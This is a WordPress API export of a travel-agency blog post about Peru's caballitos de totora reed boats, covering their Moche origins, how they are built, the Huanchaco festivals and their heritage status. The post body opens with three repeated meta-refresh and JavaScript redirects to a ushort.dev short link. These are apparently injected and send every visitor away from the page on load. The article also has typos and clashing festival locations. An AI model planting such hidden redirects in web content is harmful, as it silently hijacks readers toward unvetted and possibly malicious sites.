{"id":18347,"date":"2025-09-12T12:49:52","date_gmt":"2025-09-12T17:49:52","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=18347"},"modified":"2025-09-12T12:49:55","modified_gmt":"2025-09-12T17:49:55","slug":"caballitos-de-totora-perus-ancient-reed-boats","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/caballitos-de-totora-perus-ancient-reed-boats\/","title":{"rendered":"Caballitos de Totora: Peru\u2019s Ancient Reed Boats"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In Huanchaco, on the northern Peruvian coast, near the city of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/5-things-to-do-in-trujillo-peru\/\"><strong>Trujillo<\/strong><\/a>, an ancient invention was born thousands of years ago: <\/p>\n\n\n\n<p>A boat made from reeds would become essential for both fishing and riding the waves. In fact, some of the world\u2019s earliest surfers were from Peru. <\/p>\n\n\n\n<p>These handcrafted vessels forged a deep connection between their riders and the ocean, a tradition that has endured for more than 3,000 years and continues today.<\/p>\n\n\n\n<p>They are called <em>caballitos de totora<\/em>, or \u201ctotora reed horses.\u201d Built by the Moche and later other coastal cultures, these boats allowed people to venture into the sea to fish, trade, and\u2014whether intentionally or not\u2014catch waves back to shore.<\/p>\n\n\n\n<p>In this article, we\u2019ll explore the history of the caballitos de totora, their construction, cultural significance, and the reasons why they remain a living tradition of Peru\u2019s coastal heritage. Let\u2019s dive in then!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Origins and Use<\/strong><\/h2>\n\n\n\n<p>Mochica, or<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/moche-mythology-gods-myths-symbols\/\" title=\"\"> Moche culture<\/a><\/strong>, originated these ships, and later, the Chimu also used them. Through their art and ceramics, it has been proven that the Moche highly valued these boats thanks to their lively depictions.<\/p>\n\n\n\n<p>The Moche people skillfully used caballitos de totora for both fishing and surfing. They crafted paddles from Guayaquil reed, which helped them ride the waves back to shore.<\/p>\n\n\n\n<p>&nbsp;For longer journeys, they built larger boats. Additionally, they designed special boards called \u201calaias\u201d or \u201colos\u201d just for enjoying the waves.<\/p>\n\n\n\n<p>The main component of these boats is \u201ctotora,\u201d a type of reed that grows outside Huanchaco. Locals claim that totra has a lifespan, as it cannot be waterlogged over time.&nbsp;<\/p>\n\n\n\n<p>Therefore, totora reed makers often replace the bad ones. Even today, locals use it. In <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/huanchaco-surfing-history-and-tradition\/\"><strong>Huanchaco<\/strong><\/a> and its surroundings, people still use it for fishing and surfing. Many restaurants in the area display them at their entrance as decorative pieces.<\/p>\n\n\n\n<p>These robust boats can hold up to 200 kg of cargo while transporting one person, and measure 4.5 to 5 meters long,&nbsp; 1 meter wide, and weigh around 50 kg. The main parts of the boat are called \u201csons\u201d and \u201cmothers.\u201d&nbsp;<\/p>\n\n\n\n<p>This naming helps us understand the difference between two types of sticks: the stronger ones and the lighter, more flexible ones.&nbsp; These names highlight the important role of the mother pieces at the top, which support the sons.&nbsp;<\/p>\n\n\n\n<p>Additionally, the Caballitos hold great historical importance and are celebrated as Peru\u2019s national Cultural Heritage. They represent a rich culture that has been connected to ocean navigation for thousands of years.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?resize=697%2C465&#038;ssl=1\" alt=\"Moche men in the Peruvian sea riding totora reed boats or caballitos de totora. Some of them are fishing, some of them are just having fun ridign the waves\" class=\"wp-image-18349\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/ChatGPT-Image-12-sept-2025-12_25_08.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Ancient Moches were masters of riding totora reed boats<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Building and Techniques<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>1. Raw Material<\/strong><\/h3>\n\n\n\n<p>Firstly, farmers in Huanchaco grow <strong>totora reeds<\/strong> (<em>Schoenoplectus californicus<\/em>) in semi-deep ponds called <em>Huanchaques<\/em> or <em>Balsares<\/em>.<\/p>\n\n\n\n<p>After harvesting, they dry the reeds for 20 days before using them.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>2. Structure of the Boat<\/strong><\/h3>\n\n\n\n<p>A boat has four main reed bundles:<\/p>\n\n\n\n<p><strong>Two \u201cmothers\u201d<\/strong> \u2013 the longer bundles.<\/p>\n\n\n\n<p><strong>Two \u201cchildren\u201d<\/strong> \u2013 shorter but thicker bundles.<\/p>\n\n\n\n<p>The fisherman and helper tie and combine these bundles to form the boat.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3. Assembly Process<\/strong><\/h3>\n\n\n\n<p><strong>Step 1 \u2013 Tie the \u201cMothers\u201d<\/strong><\/p>\n\n\n\n<p>The fisherman ties the two long bundles with a thin cord called <strong>tirana<\/strong>.<\/p>\n\n\n\n<p>He wraps each bundle in the opposite direction so the fibers press tightly together.<\/p>\n\n\n\n<p><strong>Step 2 \u2013 Tie the \u201cChildren\u201d<\/strong><\/p>\n\n\n\n<p>He repeats the same process with the two shorter, thicker bundles.<\/p>\n\n\n\n<p><strong>Step 3 \u2013 Combine Mothers and Children<\/strong><\/p>\n\n\n\n<p>The fisherman places the \u201cchildren\u201d on top of the \u201cmothers.\u201d<\/p>\n\n\n\n<p>He presses down with strength until the bundles form a compact package.<\/p>\n\n\n\n<p>The \u201cmothers\u201d widen slightly, creating space that seems to shelter the \u201cchildren.\u201d<\/p>\n\n\n\n<p><strong>Step 4 \u2013 Build the Sides<\/strong><\/p>\n\n\n\n<p>The fisherman works on one side first, then the other.<\/p>\n\n\n\n<p>He measures the space called <strong>\u201cthe box\u201d<\/strong> at the stern, where he will later place the catch and fishing gear.<\/p>\n\n\n\n<p>He makes a second round of tightening with the tirana to keep everything firm.<\/p>\n\n\n\n<p><strong>Step 5 \u2013 Shape the Prow<\/strong><\/p>\n\n\n\n<p>The fisherman ties the tips at the front of the boat.<\/p>\n\n\n\n<p>He shapes them with blows until they curve upward, giving the boat its traditional form.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-20.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Huanchaco local man making a totora reed boat while others are watching\" class=\"wp-image-18350\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-20.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-20.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-20.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-20.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>4. The Final Union (Enganguanada)<\/strong><\/h3>\n\n\n\n<p>Two fishermen join both halves of the boat.<\/p>\n\n\n\n<p>They use a thicker cord called the <strong>guangana<\/strong>.<\/p>\n\n\n\n<p>At this stage, they pull as hard as possible to tighten the ropes and secure the boat.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>5. Usage and Lifespan<\/strong><\/h3>\n\n\n\n<p>Fishermen mainly use these boats for <strong>fishing<\/strong>.<\/p>\n\n\n\n<p>Building one takes <strong>30 minutes to 1 hour<\/strong>, depending on skill.<\/p>\n\n\n\n<p>A boat lasts about <strong>15 days to 1 month<\/strong>, depending on how often it goes to sea.<\/p>\n\n\n\n<p>Thanks to its practical design and material, people still used it as a fishing boat. Its curvy form is perfect for riding waves, and its robust design can take up to two people. Likewise, they\u2019re easy to ride for fishermen.<\/p>\n\n\n\n<p>Although they can last about a month, to extend their lifetime,&nbsp; fishermen kindly place them upright on the sand at the end of each day. This helpful practice ensures it dries properly and keeps moisture from building up.<\/p>\n\n\n\n<p>Riding a caballito de totora can be a fun challenge! It takes practice, skill, and a bit of strength to handle the paddle and keep your balance.&nbsp;<\/p>\n\n\n\n<p>The art of building these unique boats and learning to navigate them is something special. Families in Huanchaco, Pimentel, and other towns in Peru.<\/p>\n\n\n\n<p> By sharing this knowledge from one generation to the next, this tradition holds great cultural value for their communities and adds to the charm of these iconic vessels.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/conservacion-caballito-de-totora-1-768x512-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Huanchaco local man riding a wave in the fierce Peruvian sea\" class=\"wp-image-18351\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/conservacion-caballito-de-totora-1-768x512-1.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/conservacion-caballito-de-totora-1-768x512-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/conservacion-caballito-de-totora-1-768x512-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Promotion and Tourist Experiences<\/strong><\/h2>\n\n\n\n<p>Every year, Huanchaco holds important<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/water-sports-in-peruvian-beaches-and-rivers\/\"> <strong>water sports<\/strong><\/a> contests where caballitos are the main attraction. Professional surfers and experts riding caballitos participate<\/p>\n\n\n\n<p>For instance, this connection between the traditional Peruvian boat and surfing is showcased in the <strong>Festivals of the Sea of Huanchaco<\/strong>, where participants can take part in surfing competitions using both <strong>caballitos de Totora<\/strong> and traditional boards.<\/p>\n\n\n\n<p>Additionally, since 2002, Huanchaco has held the \u201c Festival turistico del Caballito de Totora\u201d. This festival boosts tourism and promotes inclusive sports for people with disabilities.&nbsp;<\/p>\n\n\n\n<p>It takes place in the lovely Lambayeque region, especially at the Pimentel beach resort.&nbsp; It offers exciting caballito de totora tournaments for kids, fun bike tours, and lively beach volleyball games. You can also enjoy artistic performances featuring traditional dances and live music.&nbsp;<\/p>\n\n\n\n<p>One of the highlights is the \u201cOlimplaya,\u201d a special beach sports event that welcomes young people of all abilities to join in the fun. We invite everyone to come and be part of this amazing celebration!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">A Living Legacy of Peru<\/h2>\n\n\n\n<p>On August 23, 2003, the Peruvian government declared the <em>Caballito de Totora<\/em> a National Cultural Heritage of Peru.\u00a0<\/p>\n\n\n\n<p>This recognition highlights the <em>Caballito de Totora<\/em>\u2019s enduring value and legacy\u2014not only for Peru, but for the world. It also gives Peruvians, especially the people of Huanchaco, another reason to feel proud.<\/p>\n\n\n\n<p>So, on your next trip to Peru, make sure to visit Huanchaco. Take in the ocean view, enjoy a fresh <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"><strong>ceviche<\/strong><\/a>, and ride one of these iconic reed boats. By doing so, you won\u2019t just experience a ride\u2014you\u2019ll be sailing through history itself.<\/p>\n\n\n\n<p>To discover more stories about Peru\u2019s rich culture, traditions, and myths, stay tuned to our blog. At <strong>Viagens Machu Picchu<\/strong>, we invite you to experience the real Peru\u2014including the coastal gems of Trujillo and Huanchaco.<\/p>\n\n\n\n<p>Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong> to learn more about our tailor-made tours, exclusive promotions, and the best travel deals. Your adventure in Peru is waiting\u2014don\u2019t keep it waiting too long!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In Huanchaco, Peru, caballitos de totora\u2014reed boats crafted since Moche times\u2014remain vital symbols of fishing and surfing heritage. Declared National Cultural Heritage, they\u2019re still used, celebrated in festivals, and offer visitors a ride through living history.<\/p>\n","protected":false},"author":1,"featured_media":18352,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[197,1517,1833,192,263],"tags":[3879,6234,6232,1408,6233,6231,3508,3877],"class_list":["post-18347","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adventures","category-culture","category-documentary","category-experiences","category-trujillo","tag-caballitos-de-totora","tag-fishing-boats","tag-national-cultural-heritage","tag-peruvian-coast","tag-reed-boats","tag-riding-waves","tag-thousands-of-years","tag-totora-reeds"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/p1020472.jpg?fit=1024%2C768&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4LV","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=18347"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18347\/revisions"}],"predecessor-version":[{"id":18354,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18347\/revisions\/18354"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/18352"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=18347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=18347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=18347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}